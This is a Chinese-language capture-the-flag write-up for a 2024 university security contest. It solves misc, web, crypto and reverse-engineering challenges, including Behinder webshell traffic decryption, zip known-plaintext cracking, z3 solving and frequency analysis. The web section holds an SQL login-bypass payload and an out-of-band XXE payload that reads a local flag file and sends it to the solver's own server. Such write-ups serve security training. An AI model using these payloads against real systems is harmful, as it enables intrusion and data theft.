2024高校网络安全管理运维赛
文章目录
- 2024高校网络安全管理运维赛
MISC
签到
考点:动态图片分帧提取
没啥好说的,给了一个动态的flag 所以用在线或者StegServer工具都可以分帧提取
然后按照图片所述,上cyberchef rot13解密
easyshell
考点:流量分析 冰蝎3.0
打开后过滤一下http
追踪http流
先分析一下特征,发现是冰蝎3
判断条件:参考:https://blog.csdn.net/pingan233/article/details/129168134
- Accept字段
Accept: text/html,image/gif, image/jpeg, *; q=.2, */*; q=.2
- UserAgent字段
(这个图是在网上搜的,版权原因师傅们可以自行搜索一下网上都有)
- 长连接
到此确定为冰蝎3
然后去翻到下面看返回的数据,需要对其发送请求的内容进行解密
冰蝎3主要就两层加密如下:
AES + BASE64解密
https://blog.csdn.net/weixin_46081055/article/details/120007338
其中AES的密钥一般是默认的e45e329feb5d925b
iv全设置为0
去一点点追踪http流看看解密后内容
主要是看蓝色返回包内容
从少的开始 从后往前
AES:
注意这段非常重要
继续往上
检测到压缩包PK开头特征
提取zip 直接按右边的保存即可提取成功
两个文件 secret1 和 secret2在一个压缩包里 但是都需要密码
在往上走
其中对最后两个解密 第一个是secret2.txt
第二个是temp.zip
这和我们的提取出来的非常一致啊
就这几个信息 还能干嘛 回忆我们之前拿到一段奇怪的明文 推测这就是secret2.txt的内容 而我们的flag就是secret1的内容
那么这个压缩包已知其中一个文件内容,利用已知明文攻击,上工具bkcrack
首先构造一下文件目录 测试了
know.zip放的内容如上
构造命令:
bash
bkcrack -C download.zip -c secret2.txt -P know.zip -p secret2.txt
其中-C表示密文(cipher),-p为明文(plaintext),明文和密文中明文的部分对应,这么说是因为上午试过了把secret.txt或者整个压缩包作为密文,然后都找不出key!
然后-C应该是指外层文件,-c应该是内层文件
拿到key后的下一步 解到新的zip文件中 并自己设置密码为happysu
bash
bkcrack -C download.zip -k <key> -U flag.zip happysu
在flag.zip中拿下
参考:https://blog.csdn.net/Rick66Ashley/article/details/130015948
Web
phpsql
考点:sql万能钥匙
开题是一个登录界面,起初的思路是sql注入,队友试了时间盲注和布尔盲注
但是很慢也报不出来,看着解数增长的这么快,我们感觉可能是思路错了,应该是想复杂了,那就试试万能钥匙吧
下面是解题思路
首先随便测一个 可以去注册,既然出题人写了注册功能,肯定要给我们什么信息吧
注册好后,登录,可以发现需要登录一个admin用户
结合题目描述 > 你能成为管理员吗 可以确定需要作为admin用户登录
先尝试一下对用户名采用万能钥匙
败了
那么 非常新颖的思路来了!确定用户名是admin 所以对密码进行万能钥匙!
不能有空格 故输入'||1#
登录成功,直接拿下:
不过关于这题还要补充一下:其实在真实场景中对密码进行这样的sql注入是不合理> 的,毕竟绝大多网站都会把密码转md5加密后存储
fileit
考点:xml注入 外带
首先开题,就一个非常直白的界面
Ctrl+U 看一下
非常明显的提示,但是我不懂,搜一下
不是很理解 呜呜 问一下gpt
simplexml_import_dom()
函数用于将 DOM(文档对象模型)节点转换为 SimpleXML(简单 XML)节点。DOM 是一种树状结构,表示 XML 文档的完整内容,而 SimpleXML 则是 PHP 中一种简单且易于使用的 XML 解析器,允许开发者使用面向对象的方式轻松地处理 XML 数据。与 XXE(XML 外部实体注入)相关的内容是在处理 XML 数据时可能遇到的安全问题。XXE 攻击利用 XML 解析器的功能,通过向 XML 文档中插入恶意实体来获取敏感信息或执行远程代码。在 PHP 中,SimpleXML 解析器对外部实体默认是启用的,这意味着如果应用程序在处理用户提供的 XML 数据时不小心暴露了 XML 解析器,就有可能成为 XXE 攻击的目标。
此外其实看到这个函数 可以一眼定XML外部实体注入 且无回显,因为漏洞源码如下:
php
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
?>
所以我们来尝试一下XML外部实体注入 界面没什么回显 就是XML外部实体注入 使用payload直接梭 注意把ip换成自己服务器的
发包内容:
xml
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>
自己的服务器上接收数据:
eval.xml
xml
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag.txt">
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.134.128/?content=%file;'>">
参考来源:http://tttang.com/archive/1716/#toc__6
其实一开始可以先读个file:///etc/passwd
测试一下
那么接下来是对浏览器抓包 这里其实当时踩坑了 因为题目环境一开始不出网 所以根本没法打 后面重启了一下才可以
抓包后修改一下请求包类型
起初content-Type是没有的
改成这样
个人踩坑:
httpd 也就是nginx没启动 没设置开机自启
启动命令
bashsystemctl status nginx #状态 systemctl start nginx #启动
查看服务器访问日志
拿下:
Crypto
secretbit
考点:代码阅读理解 频率分析
题目:
python
from secret import flag
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdm
def instance(m, n):
#随机性
start = list(range(m))
shuffle(start)
for i in range(m):
now = start[i]
this_turn = False
for j in range(n-1):
if now == i:
this_turn = True
break
now = start[now]
if not this_turn:
return 0
return 1
def leak(m, n, times=2000):
message = [instance(m, n) for _ in range(times)]
return message
MAX_M = 400
MIN_M = 200
#把flag转成整形 然后再转为二进制
flag_b = [int(i) for i in bin(bytes_to_long(flag))[2:]]
leak_message = []
for bi in tqdm(flag_b):
#对每一个二进制位操作
#生成合适的tmp_m0 n0 m1 n1
while True:
# m = 200 - 400
# n = 100 - 356
tmp_m0 = randrange(MIN_M, MAX_M)
tmp_n0 = randrange(int(tmp_m0//2), int(tmp_m0 * 8 // 9))
tmp_m1 = randrange(MIN_M, MAX_M)
tmp_n1 = randrange(int(tmp_m1//2), int(tmp_m1 * 8 // 9))
if abs(tmp_m0-tmp_m1-tmp_n0+tmp_n1) > MAX_M // 5:
break
choose_m = tmp_m0 if bi == 0 else tmp_m1
choose_n = tmp_n0 if bi == 0 else tmp_n1
leak_message.append([[tmp_m0, tmp_n0], [tmp_m1, tmp_n1], leak(choose_m, choose_n)])
#需要做的是 每一个flag的bit位都会生成一组泄露数据
# 我们知道tmpm0和tmpn0 以及 tmpm1和tmpn1 需要通过leak的0 1值 去恢复 choose_m 和 choose_n
open('data.txt', 'w').write(str(leak_message))
解题:
其中注释都是自己加的,虽然一开题还是有点懵的,但是这个题作为我这种菜鸡密码人的唯一的倔强,ai那个根本看不懂,只能来好好分析一下咯
先写一点小demo进行测试一下instance函数在干什么
首先是对于shuffle
python
start = list(range(10))
print(start)
shuffle(start) #直接打乱 不需要接收
print(start)
result:
txt
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
[2, 1, 4, 5, 3, 8, 0, 7, 6, 9]
这个对题目也没有什么影响,了解一下就好
下面是最关键的
我们知道tmpm0和tmpn0 以及 tmpm1和tmpn1 需要通过leak的0 1值 去恢复 choose_m 和 choose_n到底是等于哪个
所以我们把tmpm0和tmpn0 以及 tmpm1和tmpn1 都跑一遍这个leak函数 看看结果
两次结果来对比一下,哇靠,一模不一样啊 这打个集贸啊
思考思考,必须恢复,那我们要看看频率了 看看1和0的频率
针对0和1统计频率 你能想到什么!必然是求和!非常方便
可以发现频率是比较稳定的
看看另一个
其实差距还是蛮大的 所以说 判断的方法就是 两个都自己本地leak一次 得到频率 然后读取题目泄露的数据 得到真实的频率 两个自己生成的看看哪个接近 就能判断当前的bit位是谁啦
exp:
python
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdm
def instance(m, n):
#随机性
start = list(range(m))
shuffle(start)
for i in range(m):
now = start[i]
this_turn = False
for j in range(n-1):
if now == i:
this_turn = True
break
now = start[now]
if not this_turn:
return 0
return 1
def leak(m, n, times=2000):
message = [instance(m, n) for _ in range(times)]
return message
with open('data.txt', 'r') as file:
# 读取文件中的数据
data = file.read()
# 将读取的字符串数据转换为列表 注意这是一个三元组
leak_message = eval(data)
flag_b = []
#对flag的每一个bit泄露进行操作
for bit in leak_message:
m0 = bit[0][0]
n0 = bit[0][1]
m1 = bit[1][0]
n1 = bit[1][1]
res = sum(bit[2])
res0 = sum(leak(m0, n0))
res1 = sum(leak(m1, n1))
#如果0接近
if abs(res0 - res) < abs(res1 - res):
flag_b.append('0')
else:
flag_b.append('1')
print(''.join(flag_b))
print(''.join(flag_b))
10min左右
拿下:
python
a = 0b110011001101100011000010110011101111011011101000110100001101001011100110101111100110001011100110101111101110100011010000110010101011111011100110100010101100011011100100110010101110100010111110110011000110001011000010110011101111101
b = int(a)
print(long_to_bytes(b))
#b'flag{this_1s_the_sEcret_f1ag}'
RE
easyre
考点:base64换表
开题
shift+F12 打开字符串
一眼定 base64换表
babyre
考点:UPX脱壳,Z3求解
开题一看 这么几个函数,必定加壳了
用exeinfo查一下
发现是UPX壳 用给出的命令脱壳
同样先shift+F12查看一下字符串
找到非常吸睛的flag!
显然有四个加密点,需要我们去恢复,只要恢复回来就会直接输出flag
注意我们的目的是让每个函数都返回0 避免跳转到LABEL_7
Part1:
第一部分的条件非常清晰
python
a1 - 0xADB1D018 == 0x36145344
Part2:
python
(a1 | 0x8E03BEC3) - 3 * (a1 & 0x71FC413C) + a1 == 0x902C7FF8
Part3:
python
a1 < 0x10000000
4 * ((~a1 & 0xA8453437) + 2 * ~(~a1 | 0xA8453437))
+ -3 * (~a1 | 0xA8453437)
+ 3 * ~(a1 | 0xA8453437)
- (-10 * (a1 & 0xA8453437)
+ (a1 ^ 0xA8453437)) == 551387557
Part4:
python
11 * ~(a1 ^ 0xE33B67BD)
+ 4 * ~(~a1 | 0xE33B67BD)
- (6 * (a1 & 0xE33B67BD)
+ 12 * ~(a1 | 0xE33B67BD))
+ 3 * (a1 & 0xD2C7FC0C)
+ -5 * a1
- 2 * ~(a1 | 0xD2C7FC0C)
+ ~(a1 | 0x2D3803F3)
+ 4 * (a1 & 0x2D3803F3)
- -2 * (a1 | 0x2D3803F3) == 0xCE1066DC
注意上面的a1不一定是最终的a4 因为参数不一样
使用z3求解器
python
from z3 import *
s = Solver()
a4 = BitVec("a4", 32)
a1 = BitVec("a1", 32)
a2 = BitVec("a2", 32)
a3 = BitVec("a3", 32)
s.add( a1 - 0xADB1D018 == 0x36145344)
s.add( (a2 | 0x8E03BEC3) - 3 * (a2 & 0x71FC413C) + a2 == -1876131848 )
s.add( 4 * ((~a3 & 0xA8453437) + 2 * ~(~a3 | 0xA8453437)) + -3 * (~a3 | 0xA8453437) + 3 * ~(a3 | 0xA8453437) - (-10 * (a3 & 0xA8453437) + (a3 ^ 0xA8453437)) == 551387557 )
s.add(11 * ~(a4 ^ 0xE33B67BD) + 4 * ~(~a4 | 0xE33B67BD) - (6 * (a4 & 0xE33B67BD) + 12 * ~(a4 | 0xE33B67BD)) + 3 * (a1 & 0xD2C7FC0C) + -5 * a1 - 2 * ~(a1 | 0xD2C7FC0C) + ~(a1 | 0x2D3803F3) + 4 * (a1 & 0x2D3803F3) - -2 * (a1 | 0x2D3803F3) == 0xCE1066DC)
if s.check() == sat:
print(s.model())
else:
print("???? ERROR")
直接梭了
result:
txt
[a3 = 78769651,
a4 = 2341511158,
a2 = 98124621,
a1 = 3821413212]
拿下:flag{e3c6235c-05d9434d-04b1edf3-8b909ff6}